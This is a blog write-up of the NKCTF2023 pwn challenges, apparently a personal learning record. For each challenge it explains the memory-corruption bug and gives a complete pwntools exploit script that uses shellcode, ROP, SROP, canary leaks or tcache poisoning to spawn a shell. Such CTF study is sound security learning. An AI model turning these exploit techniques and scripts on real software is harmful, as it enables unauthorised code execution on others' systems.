NKCTF2023 pwn wp

姗姗来迟…我是蓝狗。从这场比赛中学到了许多新知识,所以记录一下。

ezshellcode

能输入 0x100 字节的任意指令执行,很明显直接丢个 shellcode 进去就行了。
请添加图片描述

问题是程序不是从 &buf2 处开始执行,会取 v6 的值为偏移,而 v6 是个随机数,没设置随机数种子,这种情况下应该是取时间戳吧,所以程序会从 &buf2[1-100] 这个范围中的随机一个位置开始执行。这个也好办,在 shellcode 前面填充一百个字节的滑板指令就行,即 ‘nop’ .

exp 如下:

#coding=utf-8
from pwn import*

p = process('./pwn')
#p = remote('node2.yuzhian.com.cn',31146)
context(os = 'linux',arch = 'amd64',log_level = 'debug')

def debug():
	gdb.attach(p)
	pause()

shellcode = asm('nop\n'*100)
shellcode += asm(shellcraft.sh())
#shellcode += '\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'

#debug()
#print(len(shellcode))
p.send(shellcode)
p.interactive()

a_story_of_a_pwner

这题思路就是去了解师傅的故事,听他的心声(bushi

大致就是前 3 个选项都是输出一段话,然后分别给一个 0x8 字节的输入点,都是往 bss 段处写的,而且他们是连续的,也就是说你能写一段连续的 0x18 字节的内存空间。
在这里插入图片描述

要是没有听完师傅的三段故事就去执行 选项4 的话,会跳转到 warning() 函数,这里直接给了 puts 函数的地址,题目还给了 libc 版本,就能直接计算 libc 的基地址了。这就好打了,相当于 libc 都不用自己泄的 ret2libc.
在这里插入图片描述

然后听完那三段故事就能执行到 heart() 函数,这里有 0x20-0xA 字节的溢出。
请添加图片描述

刚开始我寻思直接将返回地址改成 one_gadget 就好了, 然而用 2.31-0ubuntu9.9 的那三个 one_gadget 都不能通,毕竟这玩意的成功执行是需要条件的,在这题就不适用了。

换个思路,我们还有一段可写的连续的 bss 段空间能利用,直接往这里写入 rop 链,然后栈迁移到这里就好了。

exp 如下(要用来打本地先把程序 patch 成 2.31-0ubuntu9.9 版本的 libc):

from pwn import *

p = process('./pwn')
#p = remote('node2.yuzhian.com.cn',30702)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

def debug():
	gdb.attach(p)
	pause()

p.sendlineafter('> \n','4')
p.recvuntil('0x')
puts_addr = int(p.recv(12),16)
libc_base = puts_addr - libc.symbols['puts']
log.info("libc_base: " + hex(libc_base))

#2.31-0ubuntu9.9 one_gadget
one_gadget = [0xe3afe,0xe3b01,0xe3b04]
shell = libc_base + one_gadget[0]
binsh_addr = libc_base + libc.search(b'/bin/sh\x00').next()
system_addr = libc_base + libc.symbols['system']
pop_rdi_ret = 0x401573

p.sendlineafter('> \n','1')
p.sendafter('t?\n',p64(binsh_addr))
p.sendlineafter('> \n','2')
p.sendafter('t?\n',p64(pop_rdi_ret))
p.sendlineafter('> \n','3')
p.sendafter('T?\n',p64(system_addr))

#debug()
ret = 0x401503
leave_ret = 0x401502
bss = 0x4050A0 - 0x8
#payload = 'a' * (0xA + 0x8) + p64(shell)
payload = 'a' * (0xA) + p64(bss) + p64(leave_ret)
p.sendlineafter('> \n', '4')
p.sendafter('...\n', payload)

p.interactive()

ez_stack

这题就比较有意思了,直接看汇编会更清晰。整个程序仅由一个 write 和一个 read 的系统调用组成。先是输出一句话,然后有个 0x200 字节的输入点,能溢出非常多,够我们做很多事了。

这题的难点在于怎么去构造 rop 链,由于程序本身没有直接地调用函数,所以能利用的 gadget 也就非常少,思路自然而然地转向如何通过 syscall 来 getshell 了。

找到了这么一个 gadget: mov rax, 0xf
去查了下 x64 下的 15 号中断,发现能利用它进行 SROP attack.
在这里插入图片描述

大致思路有了,下一步是要往程序中写入 ‘/bin/sh\x00’, 而且要能确定写进的是什么地址。

我们可以控制程序执行流回到 vuln() 函数前面的位置,因为我们刚执行完 read 的系统调用,此时 rax == 0 。将返回地址改到 0x4011cb,能绕过 ‘mov rax,1’ 的对 rax 重新赋值。程序继续往下执行时,就会执行能往 &nkctf 处写入 0x26 字节的 read,在这里输送一个 ‘/bin/sh\x00’ 进去。
在这里插入图片描述

&nkctf == 0x404040,即我们写入的 ‘/bin/sh\x00’ 的地址。
在这里插入图片描述

exp 如下:

from pwn import *
p = process('./ez_stack')
#p = remote('node2.yuzhian.com.cn',35543)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./ez_stack')
libc = elf.libc

def debug():
	gdb.attach(p)
	pause()

syscall = 0x4011ee
mov_rax_15 = 0x401146
bin_sh = 0x404040

#call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = bin_sh
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall

#debug()
payload = 'a'*(0x10 + 0x8)
payload += p64(0x4011C8)
payload += p64(0)
payload += p64(mov_rax_15)
payload += p64(syscall)
payload += str(sigframe)
sleep(0.1)
p.sendlineafter('F!\n',payload)

#debug()
sleep(0.1)
p.sendline('/bin/sh\x00')
sleep(0.1)
p.sendline('\x00')

p.interactive()

baby_rop

刚开始调了很久,非常疑惑,因为 rbp 跳来跳去的…

有个格式化字符串,能泄 canary, old_ebp…

但,下面那个输入点,好像也妹溢出啊。能写入 256 字节,v4 占了 248 字节,然后 v4 底下有个 0x8 字节的金丝雀,刚好写完金丝雀,就…完了?

my_read 函数中有 off-by-null,能修改 old_ebp 的最低一字节为 ‘\x00’,就能上抬栈底指针了,这样虽然没能影响 vuln 的返回地址,但能影响到上一层函数,即 main 函数的返回地址,rsp 有可能就跳去了你之前输入的 0x100 个字节内容当中。
在这里插入图片描述

泄金丝雀 + 修改 old_ebp 的低一字节 + rop 链 + 在链子前填充大量的 ret 当作滑板提高成功率,就也能当作 ret2libc 打了。

exp 如下:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
from LibcSearcher import*

p = process('./nkctf_message_boards')
elf = ELF('./nkctf_message_boards')
#p = remote('node2.yuzhian.com.cn',36934)

def debug():
	gdb.attach(p)
	pause()

payload1 = '%41$p' 
sleep(0.1)
p.sendline(payload1)
p.recvuntil('0x')
s = p.recv(16)
canary = int(s,16)
log.info("canary:" + hex(canary))

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
pop_rdi_ret = 0x401413
ret = 0x40138B

#debug()
payload2 =  p64(ret) * 25
payload2 += p64(pop_rdi_ret)
payload2 += p64(puts_got)
payload2 += p64(puts_plt)
payload2 += p64(main_addr)
payload2 += 'a' * (0x10) +  p64(canary)

sleep(0.1)
p.send(payload2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
log.info("libc_base:" + hex(libc_base))
binsh = libc_base + libc.dump('str_bin_sh')
system = libc_base + libc.dump('system')

sleep(0.1)
p.sendline(payload1)

payload3 =  p64(ret) * 26
payload3 += p64(pop_rdi_ret)
payload3 += p64(binsh)
payload3 += p64(system)
payload3 += 'a' * (0x10) +  p64(canary)

sleep(0.1)
p.send(payload3)

p.interactive()

9961code

输入长度为 0x16 字节的任意指令执行,手搓 shellcode …

本来要使用 push/pop 往栈中写入 ‘/bin/sh’ 的话,能写出巨短的 shellcode, 但是这题在跳转执行写入的 shellcode 前,会将所有寄存器都赋值为 0x9961,包括 rsp !!!
在这里插入图片描述

要是执行到 push/pop 的话,程序就会直接报错了,因为 0x9961 指向的是一个非法栈地址。
在这里插入图片描述

所以写 shellcode 的时候要避开用到栈相关指针。

exp 如下:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p = process('./pwn')
#p = remote('node2.yuzhian.com.cn',39463)

def debug():
	gdb.attach(p)
	pause()

shellcode = asm('''
    mov edi, 0x996100f
    xor edx, edx
    xor esi, esi
    mov ax, 0x3b
    syscall
    ''')

#debug()
payload = shellcode + '/bin/sh'
#print(len(payload))
p.sendlineafter('e!\n\n',payload)

p.interactive()

baby_heap

一开始复现这题的时候 libc 死活 patch 不过去,第一次遇到这种问题 emm…
在这里插入图片描述

解决方法是将上图蓝框处的 libc.so.6 修改成绝对路径,即红框处的那个路径,而不是只写 libc.so.6 。此处特别感谢 ckyan 师傅。

第一次打高版本堆…
edit() 函数中存在 off-by-one 漏洞,利用 overlapping 泄露 libc,泄露 tcache 加密 fd 的 key,修改 fd 指针,实现打 __free_hook

exp 如下:

#coding=utf-8
from pwn import *

p = process('./pwn')
# p = remote('node2.yuzhian.com.cn', 39502)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
libc = ELF('./libc-2.32.so')

def debug():
    gdb.attach(p)
    pause()

def add(idx, size):
    p.sendlineafter("choice: ",'1')
    p.sendlineafter("index: ",str(idx))
    p.sendlineafter("Size: ",str(size))

def delete(idx):
    p.sendlineafter("choice: ",'2')
    p.sendlineafter("index: ",str(idx))

def edit(idx, content):
    p.sendlineafter("choice: ",'3')
    p.sendlineafter("index: ",str(idx))
    p.sendlineafter("content: ",content)

def show(idx):
    p.sendlineafter("choice: ",'4')
    p.sendlineafter("index: ",str(idx))

add('0', '24')
add('1', '32')
for i in range(2, 7):
    add(str(i), '16') 
# 填充tcache
for i in range(7, 15):
    add(str(i), '192') 
for i in range(7, 15):
    delete(str(i)) 

# 修改下一个堆块的size
payload = 'a' * 24 + p8(0xd1)
edit('0', payload)
delete('1')    # 进入unsorted bin

# 泄漏libc地址
add('1', '32')
show('1')
malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\00')) - 224 - 0x10 - 0x40
base_addr = malloc_hook - libc.sym['__malloc_hook']
log.info("base_addr:" + hex(base_addr))
free_addr = base_addr + libc.sym['__free_hook']
system_addr = base_addr + libc.sym['system']

# 泄漏tcache加密fd的key
add('7', '16')
delete('7')
show('2')
key = u64(p.recvuntil('\x05')[-5:].ljust(8, '\00'))

# 修改fd指针指向 __free_hook
add('7', '48')
delete('4')
payload = 'a' * 0x20 + p64(free_addr ^ key)
edit('7', payload)

# 填入/bin/sh
add('8', '16')
add('9', '16')
edit('9', p64(system_addr))
edit('8', b'/bin/sh\00')
delete('8')

p.interactive()

跟着这篇 blog 复现的,感谢。
https://he.tld1027.com/2023/03/27/nkctf2023-pwn%e9%83%a8%e5%88%86wp/#4

only_read

这题是跟着 enllus1on 师傅的 wp 复现的,因为感觉这种思路比较独特,记录一下。感谢。
NKCTF2023_enllus1on的博客-CSDN博客

base64 + 栈溢出 + 只能够调用read函数 + Partial RELRO, got 表可写。
hijack got 改 memset_got 为 read_plt,改 read_got 为 syscall,往 bss 段布置 rop,栈迁移到 bss 执行 rop。最后在执行完最后一次 read 后调用 syscall (read 函数会将读入的字节数赋值给 rax) 实现执行 15 号系统调用,实现 srop 攻击。

exp 如下:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
from LibcSearcher import*
p = process('./pwn')
elf = ELF('./pwn')
#p = remote('node2.yuzhian.com.cn',39463)

def debug():
	gdb.attach(p)
	pause()

#debug()
sleep(0.1)
payload1 = 'V2VsY29tZSB0byBOS0NURiE='
p.send(payload1)

sleep(0.1)
payload2 = 'dGVsbCB5b3UgYSBzZWNyZXQ6'
p.send(payload2)

sleep(0.1)
payload3 = 'SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45'
p.send(payload3)

sleep(0.1)
payload4 = 'Y2FuIHlvdSBmaW5kIG1lPw=='
p.send(payload4)

pop_rdi_ret = 0x401683
pop_rsi_r15_ret = 0x401681
pop_rbp_ret = 0x40117d
leave_ret = 0x4013c2
bss = elf.bss(0xe00)
payload5 = 'a'*(0x30+8) + p64(pop_rdi_ret) + p64(0)
payload5 += p64(pop_rsi_r15_ret) + p64(elf.got["memset"]) + p64(0)
payload5 += p64(elf.plt["read"])
payload5 += p64(pop_rdi_ret) + p64(0)
payload5 += p64(pop_rsi_r15_ret) + p64(bss) + p64(0)
payload5 += p64(elf.plt["memset"])
payload5 += p64(pop_rbp_ret) + p64(bss) 
payload5 += p64(leave_ret)
#debug()
sleep(0.1)
p.send(payload5)

payload6 = p64(0x401050) + '\xd0'
#debug()
sleep(0.1)
p.send(payload6)

sigframe = SigreturnFrame()
sigframe.rdi = bss
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rax = 59
sigframe.rsp = bss + 0x100
sigframe.rip = elf.plt["read"]
payload7 = "/bin/sh\x00" 
payload7 += p64(pop_rdi_ret) + p64(0) 
payload7 += p64(pop_rsi_r15_ret) + p64(elf.got["memset"]-6) + p64(0)
payload7 += p64(elf.plt["memset"])
payload7 += p64(elf.plt["read"]) 
payload7 += str(sigframe)
sleep(0.1)
p.send(payload7)

sleep(0.1)
payload8 = '\x00'*6 + p64(0x401050) + '\xd0'
p.send(payload8)

p.interactive()
  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值